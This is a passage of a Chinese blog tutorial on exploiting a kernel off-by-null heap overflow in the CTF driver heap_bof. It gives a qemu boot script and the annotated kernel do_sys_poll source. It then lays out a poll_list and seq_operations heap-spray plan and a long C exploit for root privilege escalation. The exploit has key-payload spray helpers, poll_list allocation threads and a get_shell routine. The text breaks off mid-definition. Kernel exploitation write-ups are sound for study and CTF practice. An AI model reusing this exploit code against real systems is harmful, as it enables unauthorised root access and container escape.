51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Linux kernel 堆溢出利用方法(二)

前言

本文我们通过我们的老朋友 heap_bof 来讲解 Linux kerneloff-by-null 的利用手法。在通过讲解另一道相对来说比较困难的 kernel off-by-null + docker escape 来深入了解这种漏洞的利用手法。(没了解过docker逃逸的朋友也可以看懂,毕竟有了 root 权限后, docker 逃逸就变的相对简单了)。

off by null

我们还是使用上一篇的例题 heap_bof 来讲解这种利用手法,现在我们假设这道题没有提供 free ,并且只有单字节溢出,并且溢出的单字节只能是 NULL ,那么我们应该怎麼去利用呢?

利用思路

boot.sh

              
                
                  #!/bin/bash
                
              
              

              
                
                
              
              

              
                qemu-system-x86_64 \
              
              

              
                  
                
                  -initrd
                
                 rootfs.img \
              
              

              
                  
                
                  -kernel
                
                 bzImage \
              
              

              
                  
                
                  -m
                
                 1G \
              
              

              
                  
                
                  -append
                
                
                  'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet nokaslr'
                
                 \
              
              

              
                  
                
                  -monitor
                
                 /dev/null \
              
              

              
                  
                
                  -s
                
                 \
              
              

              
                  
                
                  -cpu
                
                 kvm64 \
              
              

              
                  
                
                  -smp
                
                
                  cores
                
                
                  =
                
                
                  1
                
                
                  ,threads
                
                
                  =
                
                
                  2
                
                 \
              
              

              
                  
                
                  --nographic
                
              
              

              
                
                
              
            

poll系统调用

              
                
                  /*
                
              
              

              
                
                  *   @fds: pollfd类型的一个数组
                
              
              

              
                
                  *   @nfds: 前面的参数fds中条目的个数
                
              
              

              
                
                  *   @timeout: 事件发生的毫秒数
                
              
              

              
                
                  */
                
              
              

              
                
                  int
                
                
                  poll
                
                (
                
                  struct
                
                
                  pollfd
                
                
                  *
                
                
                  fds
                
                , 
                
                  nfds_t
                
                
                  nfds
                
                , 
                
                  int
                
                
                  timeout
                
                );
              
            

poll_list 结构体对象是在调用 poll() 时分配,该调用可以监视 1 个或多个文件描述符的活动。

              
                
                  struct
                
                
                  pollfd
                
                 {
              
              

              
                
                      
                
                
                  int
                
                
                  fd
                
                ;
              
              

              
                
                      
                
                
                  short
                
                
                  events
                
                ;
              
              

              
                
                      
                
                
                  short
                
                
                  revents
                
                ;
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  poll_list
                
                 {
              
              

              
                    
                
                  struct
                
                
                  poll_list
                
                
                  *
                
                
                  next
                
                ; 
                
                  // 指向下一个poll_list
                
              
              

              
                    
                
                  int
                
                
                  len
                
                ; 
                
                  // 对应于条目数组中pollfd结构的数量
                
              
              

              
                    
                
                  struct
                
                
                  pollfd
                
                
                  entries
                
                []; 
                
                  // 存储pollfd结构的数组
                
              
              

              
                };
              
            

poll_list 结构如下图所示,前 30poll_fd 在栈上,后面的都在堆上,最多 510poll_fd 在一个堆上的 poll_list 上,堆上的 poll_list 最大为 0x1000

poll_list 分配/释放

do_sys_poll 函数完成 poll_list 的分配和释放。 poll_list 的是超时自动释放的,我们可以指定 poll_list 的释放时间。

              
                
                  #define POLL_STACK_ALLOC
                  
                        
                  
                  256
                
              
              

              
                
                  #define PAGE_SIZE 4096
                
              
              

              
                
                  //(4096-16)/8 = 510(堆上存放pollfd最大数量)
                
              
              

              
                
                  #define POLLFD_PER_PAGE  ((PAGE_SIZE-sizeof(struct poll_list)) / sizeof(struct pollfd))
                  
                  
                
              
              

              
                
                  //(256-16)/8 = 30 (栈上存放pollfd最大数量)
                
              
              

              
                
                  #define N_STACK_PPS ((sizeof(stack_pps) - sizeof(struct poll_list))  / sizeof(struct pollfd))
                
              
              

              
                
                
              
              

              
                [...]
              
              

              
                
                
              
              

              
                
                  static
                
                
                  int
                
                
                  do_sys_poll
                
                (
                
                  struct
                
                
                  pollfd
                
                
                  __user
                
                
                  *
                
                
                  ufds
                
                , 
                
                  unsigned
                
                
                  int
                
                
                  nfds
                
                ,
              
              

              
                
                      
                
                
                      
                
                
                  struct
                
                
                  timespec64
                
                
                  *
                
                
                  end_time
                
                )
              
              

              
                {
              
              

              
                
                
              
              

              
                    
                
                  struct
                
                
                  poll_wqueues
                
                
                  table
                
                ;
              
              

              
                    
                
                  int
                
                
                  err
                
                
                  =
                
                
                  -
                
                
                  EFAULT
                
                , 
                
                  fdcount
                
                , 
                
                  len
                
                ;
              
              

              
                    
                
                  /* Allocate small arguments on the stack to save memory and be
                
              
              

              
                       
                
                  faster - use long to make sure the buffer is aligned properly
                
              
              

              
                       
                
                  on 64 bit archs to avoid unaligned access */
                
              
              

              
                                
              
              

              
                    
                
                  /*
                
              
              

              
                    
                
                  *  [1] stack_pps 256 字节的栈缓冲区, 负责存储前 30 个 pollfd entry
                
              
              

              
                    
                
                  */
                
              
              

              
                    
                
                  long
                
                
                  stack_pps
                
                [
                
                  POLL_STACK_ALLOC
                
                
                  /
                
                
                  sizeof
                
                (
                
                  long
                
                )]; 
              
              

              
                    
                
                  struct
                
                
                  poll_list
                
                
                  *
                
                
                  const
                
                
                  head
                
                
                  =
                
                 (
                
                  struct
                
                
                  poll_list
                
                
                  *
                
                )
                
                  stack_pps
                
                ;
              
              

              
                    
                
                  struct
                
                
                  poll_list
                
                
                  *
                
                
                  walk
                
                
                  =
                
                
                  head
                
                ;
              
              

              
                
                     
                
                
                  unsigned
                
                
                  long
                
                
                  todo
                
                
                  =
                
                
                  nfds
                
                ;
              
              

              
                
                
              
              

              
                
                      
                
                
                  if
                
                 (
                
                  nfds
                
                
                  >
                
                
                  rlimit
                
                (
                
                  RLIMIT_NOFILE
                
                ))
              
              

              
                
                      
                
                
                      
                
                
                  return
                
                
                  -
                
                
                  EINVAL
                
                ;
              
              

              
                
                      
                
                
                  /*
                
              
              

              
                
                      
                
                
                  *  [2] 前30个 pollfd entry 先存放在栈上,节省内存和时间
                
              
              

              
                
                      
                
                
                  */
                
              
              

              
                
                      
                
                
                  len
                
                
                  =
                
                
                  min_t
                
                (
                
                  unsigned
                
                
                  int
                
                , 
                
                  nfds
                
                , 
                
                  N_STACK_PPS
                
                );
              
              

              
                
                
              
              

              
                
                      
                
                
                  for
                
                 (;;) {
              
              

              
                
                      
                
                
                      
                
                
                  walk
                
                
                  ->
                
                
                  next
                
                
                  =
                
                
                  NULL
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                  walk
                
                
                  ->
                
                
                  len
                
                
                  =
                
                
                  len
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                  if
                
                 (
                
                  !
                
                
                  len
                
                )
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  break
                
                ;
              
              

              
                
                
              
              

              
                
                      
                
                
                      
                
                
                  if
                
                 (
                
                  copy_from_user
                
                (
                
                  walk
                
                
                  ->
                
                
                  entries
                
                , 
                
                  ufds
                
                
                  +
                
                
                  nfds
                
                
                  -
                
                
                  todo
                
                , 
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                ) 
                
                  *
                
                
                  walk
                
                
                  ->
                
                
                  len
                
                ))
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  goto
                
                
                  out_fds
                
                ;
              
              

              
                
                
              
              

              
                
                      
                
                
                      
                
                
                  todo
                
                
                  -=
                
                
                  walk
                
                
                  ->
                
                
                  len
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                  if
                
                 (
                
                  !
                
                
                  todo
                
                )
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  break
                
                ;
              
              

              
                        
                
                  /*
                
              
              

              
                        
                
                  * 
                  
                      
                  
                  [3] 如果提交超过30个 pollfd entries,就会把多出来的 pollfd 放在内核堆上。
                
              
              

              
                        
                
                  * 
                  
                      
                  
                  每个page 最多存 POLLFD_PER_PAGE (510) 个entry, 
                
              
              

              
                        
                
                  * 
                  
                      
                  
                  超过这个数,则分配新的 poll_list, 依次循环直到存下所有传入的 entry
                
              
              

              
                        
                
                  */
                
              
              

              
                
                      
                
                
                      
                
                
                  len
                
                
                  =
                
                
                  min
                
                (
                
                  todo
                
                , 
                
                  POLLFD_PER_PAGE
                
                );
              
              

              
                        
                
                  /*
                
              
              

              
                        
                
                  *   [4] 只要控制好被监控的文件描述符数量,就能控制分配size,从 kmalloc-32 到 kmalloc-4k
                
              
              

              
                        
                
                  */
                
              
              

              
                
                      
                
                
                      
                
                
                  walk
                
                
                  =
                
                
                  walk
                
                
                  ->
                
                
                  next
                
                
                  =
                
                
                  kmalloc
                
                (
                
                  struct_size
                
                (
                
                  walk
                
                , 
                
                  entries
                
                , 
                
                  len
                
                ), 
                
                  GFP_KERNEL
                
                ); 
                
                    
                
                
                      
                
                
                      
                
              
              

              
                
                      
                
                
                      
                
                
                  if
                
                 (
                
                  !
                
                
                  walk
                
                ) {
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  err
                
                
                  =
                
                
                  -
                
                
                  ENOMEM
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  goto
                
                
                  out_fds
                
                ;
              
              

              
                
                      
                
                
                      
                
                }
              
              

              
                
                      
                
                }
              
              

              
                
                
              
              

              
                
                      
                
                
                  poll_initwait
                
                (
                
                  &
                
                
                  table
                
                );
              
              

              
                    
                
                  /*
                
              
              

              
                    
                
                  * 
                  
                      
                  
                  [5] 分配完 poll_list 对象后,调用 do_poll() 来监控这些文件描述符,直到发生特定 event 或者超时。
                
              
              

              
                    
                
                  *   这里 end_time 就是最初传给 poll() 的超时变量, 这表示 poll_list 对象可以在内存中保存任意时长,超时后自动释放。
                
              
              

              
                    
                
                  */
                
              
              

              
                
                      
                
                
                  fdcount
                
                
                  =
                
                
                  do_poll
                
                (
                
                  head
                
                , 
                
                  &
                
                
                  table
                
                , 
                
                  end_time
                
                );  
              
              

              
                
                      
                
                
                  poll_freewait
                
                (
                
                  &
                
                
                  table
                
                );
              
              

              
                
                
              
              

              
                
                      
                
                
                  if
                
                 (
                
                  !
                
                
                  user_write_access_begin
                
                (
                
                  ufds
                
                , 
                
                  nfds
                
                
                  *
                
                
                  sizeof
                
                (
                
                  *
                
                
                  ufds
                
                ))
                
                  and
                
                )
              
              

              
                
                      
                
                
                      
                
                
                  goto
                
                
                  out_fds
                
                ;
              
              

              
                
                
              
              

              
                
                      
                
                
                  for
                
                 (
                
                  walk
                
                
                  =
                
                
                  head
                
                ; 
                
                  walk
                
                ; 
                
                  walk
                
                
                  =
                
                
                  walk
                
                
                  ->
                
                
                  next
                
                ) {
              
              

              
                
                      
                
                
                      
                
                
                  struct
                
                
                  pollfd
                
                
                  *
                
                
                  fds
                
                
                  =
                
                
                  walk
                
                
                  ->
                
                
                  entries
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                  int
                
                
                  j
                
                ;
              
              

              
                
                
              
              

              
                
                      
                
                
                      
                
                
                  for
                
                 (
                
                  j
                
                
                  =
                
                
                  walk
                
                
                  ->
                
                
                  len
                
                ; 
                
                  j
                
                ; 
                
                  fds
                
                
                  ++
                
                , 
                
                  ufds
                
                
                  ++
                
                , 
                
                  j
                
                
                  --
                
                )
              
              

              
                
                      
                
                
                      
                
                
                      
                
                
                  unsafe_put_user
                
                (
                
                  fds
                
                
                  ->
                
                
                  revents
                
                , 
                
                  &
                
                
                  ufds
                
                
                  ->
                
                
                  revents
                
                , 
                
                  Efault
                
                );
              
              

              
                  
                
                    
                
                }
              
              

              
                
                      
                
                
                  user_write_access_end
                
                ();
              
              

              
                
                
              
              

              
                
                      
                
                
                  err
                
                
                  =
                
                
                  fdcount
                
                ;
              
              

              
                
                  out_fds
                
                :
              
              

              
                
                      
                
                
                  walk
                
                
                  =
                
                
                  head
                
                
                  ->
                
                
                  next
                
                ;
              
              

              
                
                      
                
                
                  while
                
                 (
                
                  walk
                
                ) { 
                
                
                
                      
                
                
                  // [6] 释放 poll_list: 遍历单链表, 释放每一个 poll_list, 这里可以利用
                
              
              

              
                
                      
                
                
                      
                
                
                  struct
                
                
                  poll_list
                
                
                  *
                
                
                  pos
                
                
                  =
                
                
                  walk
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                  walk
                
                
                  =
                
                
                  walk
                
                
                  ->
                
                
                  next
                
                ;
              
              

              
                
                      
                
                
                      
                
                
                  kfree
                
                (
                
                  pos
                
                );
              
              

              
                
                      
                
                }
              
              

              
                
                
              
              

              
                
                      
                
                
                  return
                
                
                  err
                
                ;
              
              

              
                
                
              
              

              
                
                  Efault
                
                :
              
              

              
                
                      
                
                
                  user_write_access_end
                
                ();
              
              

              
                
                      
                
                
                  err
                
                
                  =
                
                
                  -
                
                
                  EFAULT
                
                ;
              
              

              
                
                      
                
                
                  goto
                
                
                  out_fds
                
                ;
              
              

              
                }
              
            

我们可以去找到一些结构体,其头 8 字节是一个指针,然后利用 off by null 去损坏该指针,比如使得 0xXXXXa0 变成 0xXXXX00 ,然后就可以考虑利用堆喷去构造 UAF 了。



详细流程

  1. 首先分配 kmalloc-4096 大小的结构题在 ptr[0]

  2. 然后构造这样的 poll_list 结构体。

  3. 利用 off-by-nullpoll_list->next 的最后一个字节改为空。然后大量分配 kmalloc-32obj 内存,这里只所以是 32 字节大小是因为要与后面的 seq_operations 配合,并且 32 大小的 object 其低字节是可能为 \x00 的,其低字节为 0x200x400x800xa00xc00xe00x00 。运气好可以被我们篡改后的 poll_list->next 指到。但对于这道题来说我们没有足够的堆块用于堆喷,所以成功率是极低的。

  4. 等待 poll_list 线程执行完毕,并且我们分配的 kmalloc-32 被错误释放,分配大量的 seq_operations ,运气好可以正好被分配到我们释放的 kmalloc-32 ,形成 UAF ,这样我们就可以利用 UAF 修改 seq_operations->start 指针指向提权代码。

  5. 提权可以参考上一篇文章,利用栈上的残留值来 bypass kaslr

exp

              
                
                  #ifndef _GNU_SOURCE
                
              
              

              
                
                  #define _GNU_SOURCE
                
              
              

              
                
                  #endif
                
              
              

              
                
                
              
              

              
                
                  #include <asm/ldt.h>
                
              
              

              
                
                  #include <assert.h>
                
              
              

              
                
                  #include <ctype.h>
                
              
              

              
                
                  #include <errno.h>
                
              
              

              
                
                  #include <fcntl.h>
                
              
              

              
                
                  #include <linux/keyctl.h>
                
              
              

              
                
                  #include <linux/userfaultfd.h>
                
              
              

              
                
                  #include <poll.h>
                
              
              

              
                
                  #include <pthread.h>
                
              
              

              
                
                  #include <sched.h>
                
              
              

              
                
                  #include <semaphore.h>
                
              
              

              
                
                  #include <signal.h>
                
              
              

              
                
                  #include <stdbool.h>
                
              
              

              
                
                  #include <stdint.h>
                
              
              

              
                
                  #include <stdio.h>
                
              
              

              
                
                  #include <stdlib.h>
                
              
              

              
                
                  #include <string.h>
                
              
              

              
                
                  #include <sys/ioctl.h>
                
              
              

              
                
                  #include <sys/ipc.h>
                
              
              

              
                
                  #include <sys/mman.h>
                
              
              

              
                
                  #include <sys/msg.h>
                
              
              

              
                
                  #include <sys/prctl.h>
                
              
              

              
                
                  #include <sys/sem.h>
                
              
              

              
                
                  #include <sys/shm.h>
                
              
              

              
                
                  #include <sys/socket.h>
                
              
              

              
                
                  #include <sys/syscall.h>
                
              
              

              
                
                  #include <sys/types.h>
                
              
              

              
                
                  #include <sys/wait.h>
                
              
              

              
                
                  #include <sys/xattr.h>
                
              
              

              
                
                  #include <unistd.h>
                
              
              

              
                
                  #include <sys/sysinfo.h>
                
              
              

              
                
                
              
              

              
                
                  #define BOF_MALLOC 5
                
              
              

              
                
                  #define BOF_FREE 7
                
              
              

              
                
                  #define BOF_EDIT 8
                
              
              

              
                
                  #define BOF_READ 9
                
              
              

              
                
                
              
              

              
                
                  #define SEQ_NUM (2048 + 128)
                
              
              

              
                
                  #define TTY_NUM 72
                
              
              

              
                
                  #define PIPE_NUM 1024
                
              
              

              
                
                  #define KEY_NUM 199
                
              
              

              
                
                
              
              

              
                
                  char
                
                
                  buf
                
                [
                
                  0x20
                
                ];
              
              

              
                
                  int
                
                
                  bof_fd
                
                ;
              
              

              
                
                  int
                
                
                  key_id
                
                [
                
                  KEY_NUM
                
                ];
              
              

              
                
                
              
              

              
                
                  #define N_STACK_PPS 30
                
              
              

              
                
                  #define POLL_NUM 0x1000
                
              
              

              
                
                  #define PAGE_SIZE 0x1000
                
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  param
                
                 {
              
              

              
                    
                
                  size_t
                
                
                  len
                
                ;        
                
                  // 内容长度
                
              
              

              
                    
                
                  char
                
                
                  *
                
                
                  buf
                
                ;         
                
                  // 用户态缓冲区地址
                
              
              

              
                    
                
                  unsigned
                
                
                  long
                
                
                  idx
                
                ; 
                
                  // 表示 ptr 数组的 索引
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  size_t
                
                
                  user_cs
                
                , 
                
                  user_rflags
                
                , 
                
                  user_sp
                
                , 
                
                  user_ss
                
                ;
              
              

              
                
                
              
              

              
                
                  void
                
                
                  save_status
                
                () {
              
              

              
                    
                
                  __asm__
                
                (
                
                  "mov user_cs, cs;"
                
              
              

              
                            
                
                  "mov user_ss, ss;"
                
              
              

              
                            
                
                  "mov user_sp, rsp;"
                
              
              

              
                            
                
                  "pushf;"
                
              
              

              
                            
                
                  "pop user_rflags;"
                
                );
              
              

              
                    
                
                  puts
                
                (
                
                  "[*] status has been saved."
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  get_shell
                
                (
                
                  void
                
                ) {
              
              

              
                    
                
                  system
                
                (
                
                  "/bin/sh"
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void
                
                
                  qword_dump
                
                (
                
                  char
                
                
                  *
                
                
                  desc
                
                , 
                
                  void
                
                
                  *
                
                
                  addr
                
                , 
                
                  int
                
                
                  len
                
                ) {
              
              

              
                    
                
                  uint64_t
                
                
                  *
                
                
                  buf64
                
                
                  =
                
                 (
                
                  uint64_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  uint8_t
                
                
                  *
                
                
                  buf8
                
                
                  =
                
                 (
                
                  uint8_t
                
                
                  *
                
                ) 
                
                  addr
                
                ;
              
              

              
                    
                
                  if
                
                 (
                
                  desc
                
                
                  !=
                
                
                  NULL
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "[*] %s:\n"
                
                , 
                
                  desc
                
                );
              
              

              
                    }
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                ; 
                
                  i
                
                
                  +=
                
                
                  4
                
                ) {
              
              

              
                        
                
                  printf
                
                (
                
                  "  %04x"
                
                , 
                
                  i
                
                
                  *
                
                
                  8
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  4
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  i
                
                
                  +
                
                
                  j
                
                
                  <
                
                
                  len
                
                
                  /
                
                
                  8
                
                
                  ?
                
                
                  printf
                
                (
                
                  " 0x%016lx"
                
                , 
                
                  buf64
                
                [
                
                  i
                
                
                  +
                
                
                  j
                
                ]) : 
                
                  printf
                
                (
                
                  "                   "
                
                );
              
              

              
                        }
              
              

              
                        
                
                  printf
                
                (
                
                  "   "
                
                );
              
              

              
                        
                
                  for
                
                 (
                
                  int
                
                
                  j
                
                
                  =
                
                
                  0
                
                ; 
                
                  j
                
                
                  <
                
                
                  32
                
                
                  &&
                
                
                  j
                
                
                  +
                
                
                  i
                
                
                  *
                
                
                  8
                
                
                  <
                
                
                  len
                
                ; 
                
                  j
                
                
                  ++
                
                ) {
              
              

              
                            
                
                  printf
                
                (
                
                  "%c"
                
                , 
                
                  isprint
                
                (
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ]) 
                
                  ?
                
                
                  buf8
                
                [
                
                  i
                
                
                  *
                
                
                  8
                
                
                  +
                
                
                  j
                
                ] : 
                
                  '.'
                
                );
              
              

              
                        }
              
              

              
                        
                
                  puts
                
                (
                
                  ""
                
                );
              
              

              
                    }
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  /*--------------------------------------------------------------------------------------------------*/
                
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  callback_head
                
                 {
              
              

              
                    
                
                  struct
                
                
                  callback_head
                
                
                  *
                
                
                  next
                
                ;
              
              

              
                    
                
                  void
                
                 (
                
                  *
                
                
                  func
                
                )(
                
                  struct
                
                
                  callback_head
                
                
                  *
                
                
                  head
                
                );
              
              

              
                } 
                
                  __attribute__
                
                ((
                
                  aligned
                
                (
                
                  sizeof
                
                (
                
                  void
                
                
                  *
                
                ))));
              
              

              
                
                
              
              

              
                
                  #define rcu_head callback_head
                
              
              

              
                
                  #define __aligned(x)                    __attribute__((__aligned__(x)))
                
              
              

              
                
                  typedef
                
                
                  unsigned
                
                
                  long
                
                
                  long
                
                
                  u64
                
                ;
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  user_key_payload
                
                 {
              
              

              
                    
                
                  struct
                
                
                  rcu_head
                
                
                  rcu
                
                ;        
                
                  /* RCU destructor */
                
              
              

              
                    
                
                  unsigned
                
                
                  short
                
                
                  datalen
                
                ;    
                
                  /* length of this data */
                
              
              

              
                    
                
                  char
                
                
                  data
                
                [
                
                  0
                
                ] 
                
                  __aligned
                
                (
                
                  __alignof__
                
                (
                
                  u64
                
                )); 
                
                  /* actual data */
                
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_alloc
                
                (
                
                  int
                
                
                  id
                
                , 
                
                  void
                
                
                  *
                
                
                  payload
                
                , 
                
                  int
                
                
                  payload_len
                
                ) {
              
              

              
                    
                
                  char
                
                
                  description
                
                [
                
                  0x10
                
                ] 
                
                  =
                
                 {};
              
              

              
                    
                
                  sprintf
                
                (
                
                  description
                
                , 
                
                  "pwn_%d"
                
                , 
                
                  id
                
                );
              
              

              
                    
                
                  return
                
                
                  key_id
                
                [
                
                  id
                
                ] 
                
                  =
                
                
                  syscall
                
                (
                
                  __NR_add_key
                
                , 
                
                  "user"
                
                , 
                
                  description
                
                , 
                
                  payload
                
                , 
                
                  payload_len
                
                
                  -
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  user_key_payload
                
                ), 
                
                  KEY_SPEC_PROCESS_KEYRING
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_update
                
                (
                
                  int
                
                
                  id
                
                , 
                
                  void
                
                
                  *
                
                
                  payload
                
                , 
                
                  size_t
                
                
                  plen
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_UPDATE
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  payload
                
                , 
                
                  plen
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_read
                
                (
                
                  int
                
                
                  id
                
                , 
                
                  void
                
                
                  *
                
                
                  bufer
                
                , 
                
                  size_t
                
                
                  buflen
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_READ
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  bufer
                
                , 
                
                  buflen
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_revoke
                
                (
                
                  int
                
                
                  id
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_REVOKE
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  0
                
                , 
                
                  0
                
                , 
                
                  0
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  int
                
                
                  key_unlink
                
                (
                
                  int
                
                
                  id
                
                ) {
              
              

              
                    
                
                  return
                
                
                  syscall
                
                (
                
                  __NR_keyctl
                
                , 
                
                  KEYCTL_UNLINK
                
                , 
                
                  key_id
                
                [
                
                  id
                
                ], 
                
                  KEY_SPEC_PROCESS_KEYRING
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  /*--------------------------------------------------------------------------------------------------*/
                
              
              

              
                
                
              
              

              
                
                  pthread_t
                
                
                  tid
                
                [
                
                  40
                
                ];
              
              

              
                
                
              
              

              
                
                  typedef
                
                
                  struct
                
                 {
              
              

              
                    
                
                  int
                
                
                  nfds
                
                , 
                
                  timer
                
                ;
              
              

              
                } 
                
                  poll_args
                
                ;
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  poll_list
                
                 {
              
              

              
                    
                
                  struct
                
                
                  poll_list
                
                
                  *
                
                
                  next
                
                ;
              
              

              
                    
                
                  int
                
                
                  len
                
                ;
              
              

              
                    
                
                  struct
                
                
                  pollfd
                
                
                  entries
                
                [];
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  void*
                
                
                  alloc_poll_list
                
                (
                
                  void
                
                
                  *
                
                
                  args
                
                ) {
              
              

              
                    
                
                  int
                
                
                  nfds
                
                
                  =
                
                 ((
                
                  poll_args
                
                
                  *
                
                ) 
                
                  args
                
                )
                
                  ->
                
                
                  nfds
                
                ;
              
              

              
                    
                
                  int
                
                
                  timer
                
                
                  =
                
                 ((
                
                  poll_args
                
                
                  *
                
                ) 
                
                  args
                
                )
                
                  ->
                
                
                  timer
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  struct
                
                
                  pollfd
                
                
                  *
                
                
                  pfds
                
                
                  =
                
                
                  calloc
                
                (
                
                  nfds
                
                , 
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                ));
              
              

              
                    
                
                  for
                
                 (
                
                  int
                
                
                  i
                
                
                  =
                
                
                  0
                
                ; 
                
                  i
                
                
                  <
                
                
                  nfds
                
                ; 
                
                  i
                
                
                  ++
                
                ) {
              
              

              
                        
                
                  pfds
                
                [
                
                  i
                
                ].
                
                  fd
                
                
                  =
                
                
                  open
                
                (
                
                  "/etc/passwd"
                
                , 
                
                  O_RDONLY
                
                );
              
              

              
                        
                
                  pfds
                
                [
                
                  i
                
                ].
                
                  events
                
                
                  =
                
                
                  POLLERR
                
                ;
              
              

              
                    }
              
              

              
                    
                
                  poll
                
                (
                
                  pfds
                
                , 
                
                  nfds
                
                , 
                
                  timer
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  void*
                
                
                  create_poll_list
                
                (
                
                  size_t
                
                
                  size
                
                , 
                
                  int
                
                
                  timer
                
                , 
                
                  int
                
                
                  i
                
                ) {
              
              

              
                    
                
                  poll_args
                
                
                  *
                
                
                  args
                
                
                  =
                
                
                  calloc
                
                (
                
                  1
                
                , 
                
                  sizeof
                
                (
                
                  poll_args
                
                ));
              
              

              
                    
                
                  args
                
                
                  ->
                
                
                  nfds
                
                
                  =
                
                 (
                
                  size
                
                
                  -
                
                 (
                
                  size
                
                
                  +
                
                
                  PAGE_SIZE
                
                
                  -
                
                
                  1
                
                ) 
                
                  /
                
                
                  PAGE_SIZE
                
                
                  *
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  poll_list
                
                )) 
                
                  /
                
                
                  sizeof
                
                (
                
                  struct
                
                
                  pollfd
                
                ) 
                
                  +
                
                
                  N_STACK_PPS
                
                ;
              
              

              
                    
                
                  args
                
                
                  ->
                
                
                  timer
                
                
                  =
                
                
                  timer
                
                ;
              
              

              
                
                
              
              

              
                    
                
                  pthread_create
                
                (
                
                  &
                
                
                  tid
                
                [
                
                  i
                
                ], 
                
                  NULL
                
                , 
                
                  alloc_poll_list
                
                , 
                
                  args
                
                );
              
              

              
                }
              
              

              
                
                
              
              

              
                
                  /*--------------------------------------------------------------------------------------------------*/
                
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  list_head
                
                 {
              
              

              
                    
                
                  struct
                
                
                  list_head
                
                
                  *
                
                
                  next
                
                , 
                
                  *
                
                
                  prev
                
                ;
              
              

              
                };
              
              

              
                
                  struct
                
                
                  tty_file_private
                
                 {
              
              

              
                    
                
                  struct
                
                
                  tty_struct
                
                
                  *
                
                
                  tty
                
                ;
              
              

              
                    
                
                  struct
                
                
                  file
                
                
                  *
                
                
                  file
                
                ;
              
              

              
                    
                
                  struct
                
                
                  list_head
                
                
                  list
                
                ;
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  page
                
                ;
              
              

              
                
                  struct
                
                
                  pipe_inode_info
                
                ;
              
              

              
                
                  struct
                
                
                  pipe_buf_operations
                
                ;
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  pipe_bufer
                
                 {
              
              

              
                    
                
                  struct
                
                
                  page
                
                
                  *
                
                
                  page
                
                ;
              
              

              
                    
                
                  unsigned
                
                
                  int
                
                
                  offset
                
                , 
                
                  len
                
                ;
              
              

              
                    
                
                  const
                
                
                  struct
                
                
                  pipe_buf_operations
                
                
                  *
                
                
                  ops
                
                ;
              
              

              
                    
                
                  unsigned
                
                
                  int
                
                
                  flags
                
                ;
              
              

              
                    
                
                  unsigned
                
                
                  long
                
                
                  private
                
                ;
              
              

              
                };
              
              

              
                
                
              
              

              
                
                  struct
                
                
                  pipe_buf_operations
                
                 {
              
              

              
                    
                
                  int
                
                 (
                
                  *
                
                
                  confirm
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                    
                
                  void
                
                 (
                
                  *
                
                
                  release
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
                  struct
                
                
                  pipe_bufer
                
                
                  *
                
                );
              
              

              
                    
                
                  int
                
                 (
                
                  *
                
                
                  try_steal
                
                )(
                
                  struct
                
                
                  pipe_inode_info
                
                
                  *
                
                , 
                
